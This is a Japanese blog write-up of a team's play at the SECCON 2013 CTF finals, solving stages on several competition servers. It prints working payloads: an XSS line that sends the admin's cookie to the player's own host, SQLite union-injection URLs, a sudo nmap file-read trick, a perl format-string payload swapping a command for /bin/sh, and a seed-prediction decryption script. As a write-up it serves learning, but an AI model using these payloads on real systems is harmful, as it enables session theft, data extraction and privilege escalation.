3/1, 2に行われたSECCON 2013 全国大会にdodododoとして参加してきた。最終的なスコアは1261点で、順位はおそらく9位。やはりbinaryができる人がいないとつらいものがある :)
ルール
サーバが6つ用意されていて、塔にまつわる名前が付けられている。Korin、2.kaku、Pisa、Druaga、Babel、Hanoi。開始時点では前半3つのサーバが開放されていた。1日目の残り数分の時点ですべてのサーバが開放された。
サーバにいくつかのキーワードが隠されており、そのキーワードをサブミットすることで100pt獲得することができる。また、自分のチームのフラグワードをサーバの特定の場所に書き込むことで得点が数分毎に加算されていく。
ということで、以下writeup。
Korin
最初に4つのキーワードを奪取。そのおかげで、開始から1、2時間くらいは1位をキープできていた。(その後はずるずると順位が下がっていった…)
SECCON全国大会2013 競技開始から2時間。現在チームdodododoがリードしています。 #seccon pic.twitter.com/Fxm4WIPBuC
— SECCON CTF (@secconctf) 2014, 3月 1
しかし妨害もできずに、さらにフラグワードを書き込むことができなかったので、他のチームに奪われてしまった。
stage1
ぱっと見た感じ、SQLiかXSSの問題だと思ったので試してみたところ、メール欄にXSSできることがわかった。以下のような内容を投げると自分のサーバにadminがアクセスしてくるので、セッションを奪うことができる。
"><script>location.href="http://192.168.7.5/?"+document.cookie</script><"@example.com
stage2
管理者としてログインすると、パスワードを要求される画面がある。ほかにも投稿された内容を見ることができる画面があるので、そこでSQLiすることができる。
HTMLのソースを見ると、by KeigoYAMAZAKIと書いてあるので、使われているRDBMSはSQLiteだということがわかる。なので、何も考えずに以下のように投げるだけ。
GET /?action=view&id=%27%20union%20select%201,1,group_concat(sql)%20from%20sqlite_master--
CREATE TABLE contact (id, name, mail, honbun),CREATE TABLE nextLVpassword (str),CREATE TABLE zdummy (dummy)
GET /?action=view&id=%27%20union%20select%201,1,group_concat(str)%20from%20nextLVpassword--
kinako!!
stage3, stage4
ファイルがアップロードできるようになる。ここは@lmt_swallowがやってくれた。簡単にまとめると
- stage3
- stage4
sudo -l
するとnmapがユーザーstage5としてNOPASSWDで実行することができることがわかる/usr/bin/nmap -iL /home/stage5/FLAG
でファイルが読める
しかし、彼がやってくれた失態は/tmp以下にファイルを書き出すということだった。
# Nmap (V. nmap) scan initiated 2.53 as: /usr/bin/nmap -iL FLAG -o /tmp/output.txt # Nmap run completed at Sat Mar 1 14:58:22 2014 -- 0 IP addresses (0 hosts up) scanned in 20 seconds
解法がそのまま書いてある。。色々と試しているうちにやってしまったみたいだった。(stage5の権限で書き出してしまったので、気づいたときには消せなかった)
SECCON CTF 2013 FINAL | やぎはしゅブログによると、このおかげでわかったらしい…。でもちょっと笑ってしまったので彼を許すことにする :)
作問者について
個人的にby KeigoYAMAZAKI問題は適度にやさしいのとやることが分かりやすいので好き。(山崎さん、ファンです :)
セキュリティキャンプ 2013のCTFでも同じようなKorinと同じような問題(山崎さん作問)があり、その問題だけで1400pt稼ぐことができたという話もある。
Pisa, Druaga
Pisaは面倒だったので、ほとんど何もしていない。
Druagaはファイルを持ち帰って、眠いと言いながらやることにした。TrueCryptだとすぐ気づいたが、中身を見て面倒だと確信したのですぐに寝ることにした。(寝る前にスクリプトを書いて動かしていたが、起きて確認してみると案の定、間違えていた…)
Babel
pureserverのほうは、中身を見るとformat string attackすることで起動するコマンドを/bin/calから/bin/shに変えられることがわかった。
perl -e'print "\x70\x5c\x48\x23JUNK\x71\x5c\x48\x23JUNK\x72\x5c\x48\x23JUNK\x73\x5c\x48\x23"."%08x"x2 . "%132x%n%204x%n%202x%n%221x%n"'
あとはわからなかったので放置。
Hanoi
stage1
readfile.phpでindex.phpを見るとキーワードがコメント化されている。また、readfile.phpでreadfile.phpを見るとDEFCON 21のremembermeに似ているように見えるがちょっと違う。ここには何もない。
<?php $filename = $_GET["filename"]; $accesscode = $_GET["accesscode"]; if (md5($filename) == $accesscode){ echo "Access granted to $filename!"; srand($value); if (in_array($filename, array('readfile.php', 'index.php', 'pass.txt', 'id.txt'))==TRUE){ $data = file_get_contents($filename); if ($data !== FALSE) { echo nl2br($data); exit(); } } echo "File does not exist"; } else{ echo "Invalid access code"; } ?>
stage2
stage2がどこにあるのかわからなく、時間がかかった。stage1のハノイの塔のgif画像に細工があり、これはDEFCON 20のgb200と同じ。(Routards Team Blog: Defcon 20 QUALS - Grab Bag 200)
10.100.6.3に対して10.100.6.1の逆引きをしていたが、逆引きしても手がかりになるようなものはなかった。ここで、@goldcardさんが10.100.6.2に2番目のサーバがあることを発見したので、アクセスしてみると、stage2のページがあった。
stage2はstage1のページに似ているがちょっと違う。ハノイの塔の画像にリンクされているkey.zipを解凍すればいいことがわかる。パスワードは/bin/menuのMD5ハッシュ値だと書かれていた。
また、readfile.phpの中身が変わっていて、menuというファイルが見れるようになっている。さらにDEFCON 21のremembermeとほぼ同じになっていたので、DEFCON CTF Quals 2013に参加した - ももいろテクノロジーを参考にスクリプトを書いた。
<?php $data = ...; $data = base64_decode($data); $time = strtotime('Sun, 02 Mar 2014 03:47:41 GMT'); srand($time); $key = rand(); $text = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC); print $text; ?>
ここで生成されたmenuのMD5ハッシュ値を計算してみたが、key.zipが解凍できない。よくわからないが、menuに末尾に不要なNULLがくっついていたので取り除いてからMD5ハッシュ値を計算したところ解凍することができた。
stage3
stage2のハノイの塔の画像に対してbinwalkを使うと、jpeg画像が入ってることがわかる。取り出してみると、ユーザー名とパスワードが書かれた画像だったので、sshでログインすると、そこでmenuが動いている。@lmt_swallowによると11/bin/sh
を入力するとshellが動くらしい。サーバの中にpcapがあるので、その中身を@goldcardさんに見てもらったところ、http://10.100.6.1/src/login.phpでSquirrelMailが動いていて、ログイン画面があることがわかった。ユーザー名、パスワードはpcapに書いてあって、あとはログインするだけだったが、その時点で残り10秒ほどだったので諦めることにした。。
まとめ
参加者、運営の皆さんお疲れ様でした。
なかなか解けない問題もあったが十分楽しめた。去年の3月にCTFを知って、それからはずっとSECCON全国行きたいと思っていたのでとりあえず目標は達成ということで。
弱い分野がはっきりと分かれていて、binaryは手も出ない状況なのでなんとか打破しないといけない。